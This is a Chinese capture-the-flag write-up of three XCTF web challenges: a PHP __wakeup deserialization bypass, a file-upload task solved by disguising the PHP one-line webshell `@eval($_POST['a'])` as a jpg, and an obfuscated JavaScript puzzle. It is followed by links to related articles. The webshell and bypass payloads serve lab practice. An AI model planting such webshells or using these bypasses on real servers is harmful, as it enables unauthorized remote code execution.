攻防世界web进阶

简介: 攻防世界web进阶

unserialize3


知识点:反序列化漏洞,wakeup魔法函数


php
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
?>

先对代码补全然后进行审计。


class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$a = new xctf();           //使用new运算符来实例化该类(xctf)的对象为a
echo(serialize($a));       //输出被序列化的对象(a)

然后将代码放到vscode跑一下

6447575881bc369b6cfaef5db12c0602_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png
但是我们还需要绕过weakup函数 否则就会输出bad requesets

//wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数:

将真实值由1修改为2 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

ed35d4d5dcc86413baf7a7bb1ed0ba37_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

得到flag


upload1


56506cd433aeb28c7cc0aeeef10c6437_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

这是一道常见的文件上传题,解题思路就是将一句话木马以图片形式上传,再抓包修改为php格式,然后放包,再用蚁剑链接即可。 <?php @eval($_POST['a']);?> 这是最常见的一句话木马,创建新文档,先用txt 然后改为jpg

1926b7e5604fe19f9201cf99d5eb87f3_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

然后用蚁剑连接

 

1859ae9e61c60612a5e8caf614835bc1_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

连接成功,进入文件找flag

794dc683a618df8c96ff102872fde709_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


NaNNaNNaNNaN-Batman


这道题打开只有一个附件,下载后打开 发现是一堆乱码


<script>_='function $(){e=getEleById("c").value;length==16^be0f23233ace98aa$c7be9){tfls_aie}
na_h0lnrg{e_0iit\'_ns=[t,n,r,i];for(o=0;o<13;++o){ [0]);.splice(0,1)}}}\'<input id="c">< onclick=$()>Ok</>\');delete _var
 ","docu.)match(/"];/)!
=null=["write(s[o%4]buttonif(e.ment';for(Y in $=' ')with(_.split($
[Y]))_=join(pop());eval(_)</script>

这是一个html代码,然后文档后缀改为html

fe9779fbf7f0cc84fb0bfaa7a47c9a88_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

发现只有一个搜索框,我们试试将eval输出函数改为alert弹框函数,以便审计代码。

0b3ede43b4adebc7638f031e887b286f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

可以被打开,但是代码还是很乱,找到一个在线美化代码的网站试试将代码恢复

a5a32dfc817d5e35bc50a05290e28d91_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


这里有两种方法可以得到flag


一、e需要满足长度16,开头be023,之后跟233ac,c7be9,e98aa 优化因为长度只有16,优化一下be0233ac7be98aa 直接到搜索框输入就可以得到flag。

二、直接跑代码

var t = ["fl", "sa", "i", "e}"]; 
var n = ["a", "h0l", "n"];
 var r = ["g{", "e", "0"]; 
var i = ["it'", "", "n"]; 
var s = [t, n, r, i]; 
for (var o = 0; o < 13; ++o)
      document.write(s[o % 4][0])

将这段代码放到火狐的控制台也可得到flag

相关文章
|
4月前
|
SQL 监控 安全
Java Web应用的安全防护与攻防策略
Java Web应用的安全防护与攻防策略
|
4月前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
【7月更文挑战第26天】在 Web 开发中, SQL 注入与 XSS 攻击常令人担忧, 但掌握正确防御策略可化解风险. 对抗 SQL 注入的核心是避免直接拼接用户输入至 SQL 语句. 使用 Python 的参数化查询 (如 sqlite3 库) 和 ORM 框架 (如 Django, SQLAlchemy) 可有效防范. 防范 XSS 攻击需严格过滤及转义用户输入. 利用 Django 模板引擎自动转义功能, 或手动转义及设置内容安全策略 (CSP) 来增强防护. 掌握这些技巧, 让你在 Python Web 开发中更加安心. 安全是个持续学习的过程, 不断提升才能有效保护应用.
55 1
|
3月前
|
存储 PHP 数据安全/隐私保护
攻防世界 Web_php_unserialize
攻防世界 Web_php_unserialize
57 0
|
4月前
|
缓存 JavaScript 前端开发
JavaScript进阶 - Web Workers与Service Worker
【7月更文挑战第4天】JavaScript的Web Workers和Service Worker增强了Web性能。Web Workers处理后台多线程,减轻主线程负担,但通信有开销,受同源策略限制。Service Worker则用于离线缓存和推送通知,需管理其生命周期、更新策略,并确保安全。两者都带来了挑战,但也极大提升了用户体验。通过理解和优化,开发者能构建更高效、安全的Web应用。
123 2
|
4月前
|
SQL 安全 Java
Java Web应用的安全防护与攻防深度剖析
Java Web应用的安全防护与攻防深度剖析
|
4月前
|
前端开发 开发者 Python
从零到一:Python Web框架中的模板引擎入门与进阶
【7月更文挑战第20天】模板引擎如Jinja2在Python Web开发中连接后端与前端,提高代码可读性和协作效率。Flask默认集成Jinja2,提供条件语句、循环、宏和模板继承等功能。例如,创建一个简单Flask应用,渲染&quot;Hello, World!&quot;,并展示如何使用条件语句和循环处理数据。通过宏定义重用代码,模板继承实现页面结构共享。学习模板引擎能提升开发效率和项目质量。
61 0
|
4月前
|
SQL 前端开发 数据库
Python Web开发进阶之路:从模板引擎到ORM的全面掌握
【7月更文挑战第19天】在Python Web开发中,提升技能的关键是理解和运用模板引擎(如Jinja2)与ORM技术。模板引擎,如在Flask中使用的Jinja2,使前端HTML与后端逻辑分离,便于维护。例如,通过路由函数`show_posts()`和`render_template()`呈现文章列表模板,用Jinja2的`for`循环展示内容。ORM,如SQLAlchemy,提供Pythonic的数据库操作,将表映射为类,SQL转化为方法调用。在博客系统中,定义Post模型并与数据库交互,展示了ORM简化数据管理的优势。通过实践这些工具,开发者能更好地驾驭复杂的Web项目。
55 0
|
4月前
|
缓存 前端开发 JavaScript
JavaScript进阶 - Web Workers与Service Worker
【7月更文挑战第10天】在Web开发中,Web Workers和Service Worker提升性能。Workers运行后台任务,防止界面冻结。Web Workers处理计算密集型任务,Service Worker则缓存资源实现离线支持。常见问题包括通信故障、资源限制、注册错误及缓存更新。通过示例代码展示了两者用法,并强调生命周期管理和错误处理的重要性。善用这些技术,可构建高性能的Web应用。
86 0
|
4月前
|
缓存 JavaScript 前端开发
JavaScript进阶 - Web Workers与Service Worker
【7月更文挑战第6天】JavaScript的Web Workers和Service Worker增强了浏览器的性能处理和离线功能。Web Workers处理后台计算,减轻主线程压力,但通信有开销,受同源策略限制。Service Worker则能拦截网络请求,支持离线缓存和推送通知,但其生命周期和权限管理需谨慎处理。通过理解它们的工作原理和限制,开发者能创建更流畅、更健壮的Web应用。
98 0
|
4月前
|
SQL 监控 安全
Java Web应用的安全防护与攻防策略
Java Web应用的安全防护与攻防策略